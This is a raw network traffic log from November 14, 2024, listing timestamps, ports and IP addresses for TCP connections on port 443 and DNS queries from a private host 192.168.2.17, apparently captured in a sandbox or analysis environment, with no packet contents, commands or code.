Nov 14, 2024 16:39:50.685132027 CET	443	49754	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.685198069 CET	49754	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.685215950 CET	443	49754	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.685266018 CET	49754	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.685445070 CET	443	49754	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.685504913 CET	443	49754	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.685551882 CET	49754	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.685709953 CET	49754	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.685720921 CET	443	49754	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.688704967 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.688785076 CET	49755	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.825042009 CET	49758	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:50.825095892 CET	443	49758	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:50.825217009 CET	49758	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:50.825479031 CET	49758	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:50.825493097 CET	443	49758	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:50.872966051 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.882013083 CET	443	49755	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.882074118 CET	443	49755	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.882132053 CET	49755	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.882158995 CET	443	49755	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.882174969 CET	443	49755	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.882247925 CET	49755	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.883615017 CET	49755	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.883629084 CET	443	49755	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.889151096 CET	49759	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.889178991 CET	443	49759	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.889261961 CET	49759	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.889475107 CET	49759	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.889484882 CET	443	49759	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.917325974 CET	60543	53	192.168.2.17	162.159.36.2
Nov 14, 2024 16:39:50.922280073 CET	53	60543	162.159.36.2	192.168.2.17
Nov 14, 2024 16:39:50.922385931 CET	60543	53	192.168.2.17	162.159.36.2
Nov 14, 2024 16:39:50.925688028 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.927326918 CET	53	60543	162.159.36.2	192.168.2.17
Nov 14, 2024 16:39:50.989518881 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.989538908 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.989578009 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.989588022 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.989641905 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.989685059 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.989731073 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.989753008 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.989795923 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.253444910 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.253457069 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.253499985 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.253551960 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.253571987 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.253586054 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.253597975 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.253633976 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.253653049 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.253727913 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.253849983 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.253865957 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.253920078 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.253927946 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.295794010 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.341356993 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.341382027 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.341670036 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.341697931 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.341748953 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.407870054 CET	49682	80	192.168.2.17	192.229.211.108
Nov 14, 2024 16:39:51.457963943 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.458043098 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.458142042 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.458170891 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.458306074 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.458306074 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.504968882 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.505059004 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.505126953 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.505137920 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.505202055 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.505327940 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.505387068 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.505433083 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.505450010 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.508368969 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.508392096 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.508476019 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.508704901 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.508714914 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.529133081 CET	60543	53	192.168.2.17	162.159.36.2
Nov 14, 2024 16:39:51.534450054 CET	53	60543	162.159.36.2	192.168.2.17
Nov 14, 2024 16:39:51.534524918 CET	60543	53	192.168.2.17	162.159.36.2
Nov 14, 2024 16:39:51.586703062 CET	60546	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:51.586779118 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:51.586910009 CET	60546	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:51.587346077 CET	60546	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:51.587380886 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:51.667639971 CET	443	49758	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:51.667975903 CET	49758	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:51.667992115 CET	443	49758	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:51.668342113 CET	443	49758	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:51.668653011 CET	49758	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:51.668716908 CET	443	49758	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:51.668873072 CET	49758	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:51.668873072 CET	49758	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:51.668894053 CET	49758	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:51.668905020 CET	443	49758	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:51.929152966 CET	443	49759	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.929565907 CET	49759	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.929582119 CET	443	49759	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.929910898 CET	443	49759	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.930274010 CET	49759	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.930346012 CET	443	49759	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:51.930428982 CET	49759	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:51.975328922 CET	443	49759	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.083952904 CET	443	49758	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:52.083980083 CET	443	49758	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:52.084076881 CET	443	49758	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:52.084287882 CET	49758	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:52.084287882 CET	49758	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:52.085078955 CET	49758	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:52.085100889 CET	443	49758	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:52.138619900 CET	60547	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:52.138653040 CET	443	60547	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:52.138820887 CET	60547	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:52.139221907 CET	60547	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:52.139230013 CET	443	60547	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:52.175915003 CET	443	49759	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.175968885 CET	443	49759	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.176032066 CET	443	49759	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.176054001 CET	49759	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:52.176225901 CET	49759	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:52.176991940 CET	49759	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:52.177007914 CET	443	49759	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.361139059 CET	60548	443	192.168.2.17	20.190.159.68
Nov 14, 2024 16:39:52.361182928 CET	443	60548	20.190.159.68	192.168.2.17
Nov 14, 2024 16:39:52.361279964 CET	60548	443	192.168.2.17	20.190.159.68
Nov 14, 2024 16:39:52.361547947 CET	60548	443	192.168.2.17	20.190.159.68
Nov 14, 2024 16:39:52.361562967 CET	443	60548	20.190.159.68	192.168.2.17
Nov 14, 2024 16:39:52.381230116 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:52.381390095 CET	60546	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:52.382982016 CET	60546	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:52.383006096 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:52.383230925 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:52.384326935 CET	60546	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:52.427336931 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:52.535238028 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.535692930 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:52.535702944 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.536159039 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.536484003 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:52.536545992 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.536655903 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:52.583323956 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.647504091 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:52.647533894 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:52.647569895 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:52.647806883 CET	60546	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:52.647806883 CET	60546	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:52.647821903 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:52.647869110 CET	60546	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:52.765697002 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.797118902 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:52.797184944 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:52.797249079 CET	60546	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:52.797261000 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:52.797291040 CET	60546	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:52.797517061 CET	60546	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:52.797524929 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:52.797574997 CET	60546	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:52.797750950 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:52.797802925 CET	443	60546	20.109.210.53	192.168.2.17
Nov 14, 2024 16:39:52.797858000 CET	60546	443	192.168.2.17	20.109.210.53
Nov 14, 2024 16:39:52.805705070 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:52.881328106 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.881341934 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.881371975 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.881401062 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.881414890 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:52.881424904 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.881474972 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:52.881503105 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:52.996367931 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.996401072 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.996453047 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:52.996459961 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:52.996510983 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.001044035 CET	443	60547	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:53.001354933 CET	60547	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:53.001379967 CET	443	60547	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:53.004918098 CET	443	60547	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:53.004991055 CET	60547	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:53.005381107 CET	60547	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:53.005548954 CET	60547	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:53.005549908 CET	443	60547	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:53.038183928 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.038209915 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.038284063 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.038290977 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.038328886 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.051321983 CET	443	60547	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:53.058690071 CET	60547	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:53.058696985 CET	443	60547	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:53.105906963 CET	60547	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:53.112760067 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.112787962 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.112891912 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.112915039 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.112970114 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.228055954 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.228080988 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.228140116 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.228151083 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.228199005 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.286168098 CET	443	60547	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:53.286273003 CET	443	60547	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:53.286511898 CET	60547	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:53.287303925 CET	60547	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:53.287345886 CET	443	60547	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:53.342578888 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.342643023 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.342829943 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.342829943 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.342844009 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.342880964 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.384864092 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.384921074 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.385097027 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.385147095 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.385147095 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.385147095 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.402220964 CET	60544	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.402234077 CET	443	60544	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.432275057 CET	443	60548	20.190.159.68	192.168.2.17
Nov 14, 2024 16:39:53.441132069 CET	60548	443	192.168.2.17	20.190.159.68
Nov 14, 2024 16:39:53.441215992 CET	443	60548	20.190.159.68	192.168.2.17
Nov 14, 2024 16:39:53.442189932 CET	443	60548	20.190.159.68	192.168.2.17
Nov 14, 2024 16:39:53.442285061 CET	60548	443	192.168.2.17	20.190.159.68
Nov 14, 2024 16:39:53.443377018 CET	60548	443	192.168.2.17	20.190.159.68
Nov 14, 2024 16:39:53.443453074 CET	443	60548	20.190.159.68	192.168.2.17
Nov 14, 2024 16:39:53.443609953 CET	60548	443	192.168.2.17	20.190.159.68
Nov 14, 2024 16:39:53.443630934 CET	443	60548	20.190.159.68	192.168.2.17
Nov 14, 2024 16:39:53.485743999 CET	60548	443	192.168.2.17	20.190.159.68
Nov 14, 2024 16:39:53.692750931 CET	443	60548	20.190.159.68	192.168.2.17
Nov 14, 2024 16:39:53.739964008 CET	60548	443	192.168.2.17	20.190.159.68
Nov 14, 2024 16:39:53.740017891 CET	443	60548	20.190.159.68	192.168.2.17
Nov 14, 2024 16:39:53.768433094 CET	60548	443	192.168.2.17	20.190.159.68
Nov 14, 2024 16:39:53.768604040 CET	443	60548	20.190.159.68	192.168.2.17
Nov 14, 2024 16:39:53.768745899 CET	60548	443	192.168.2.17	20.190.159.68
Nov 14, 2024 16:39:53.770957947 CET	60549	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:53.770989895 CET	443	60549	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:53.771085024 CET	60549	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:53.771377087 CET	60549	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:53.771383047 CET	443	60549	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:53.772819042 CET	60550	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.772895098 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.772990942 CET	60550	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.773180008 CET	60550	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:53.773212910 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:53.819741964 CET	49682	80	192.168.2.17	192.229.211.108
Nov 14, 2024 16:39:54.631195068 CET	443	60549	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:54.631639957 CET	60549	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:54.631658077 CET	443	60549	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:54.632028103 CET	443	60549	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:54.632533073 CET	60549	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:54.632606030 CET	443	60549	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:54.632894039 CET	60549	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:54.632894039 CET	60549	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:54.632911921 CET	60549	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:54.632949114 CET	443	60549	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:55.217474937 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.217849016 CET	60550	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.217878103 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.218202114 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.218537092 CET	60550	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.218590975 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.218732119 CET	60550	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.263320923 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.297960043 CET	443	60549	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:55.298041105 CET	443	60549	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:55.298104048 CET	60549	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:55.298968077 CET	60549	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:55.298981905 CET	443	60549	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:55.301793098 CET	60551	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:55.301816940 CET	443	60551	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:55.301918030 CET	60551	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:55.302124023 CET	60551	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:55.302134037 CET	443	60551	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:55.640881062 CET	49675	443	192.168.2.17	204.79.197.203
Nov 14, 2024 16:39:55.655184031 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.660711050 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.660727978 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.660912991 CET	60550	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.660912991 CET	60550	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.660949945 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.661019087 CET	60550	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.661120892 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.661186934 CET	60550	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.661192894 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.661241055 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.661251068 CET	60550	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.661253929 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.661293030 CET	60550	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.661504984 CET	60550	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.661524057 CET	443	60550	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.664599895 CET	60552	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.664655924 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.664777994 CET	60552	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.664953947 CET	60552	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.664973021 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.988790035 CET	62144	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:55.990179062 CET	62145	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:55.990231037 CET	443	62145	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:55.990273952 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:55.990302086 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:55.990317106 CET	62145	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:55.990353107 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:55.990494967 CET	62145	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:55.990514994 CET	443	62145	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:55.990611076 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:55.990617990 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:55.993468046 CET	62147	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.993513107 CET	443	62147	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.993590117 CET	62147	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.993771076 CET	62147	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:55.993771076 CET	53	62144	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:55.993784904 CET	443	62147	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:55.993839025 CET	62144	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:55.993877888 CET	62144	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:55.998987913 CET	53	62144	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:56.146501064 CET	443	60551	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:56.146790981 CET	60551	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:56.146812916 CET	443	60551	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:56.147932053 CET	443	60551	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:56.148300886 CET	60551	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:56.148413897 CET	60551	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:56.148418903 CET	443	60551	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:56.148473024 CET	443	60551	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:56.198754072 CET	60551	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:56.476190090 CET	443	60551	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:56.476301908 CET	443	60551	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:56.476356983 CET	60551	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:56.477281094 CET	60551	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:56.477294922 CET	443	60551	78.138.9.37	192.168.2.17
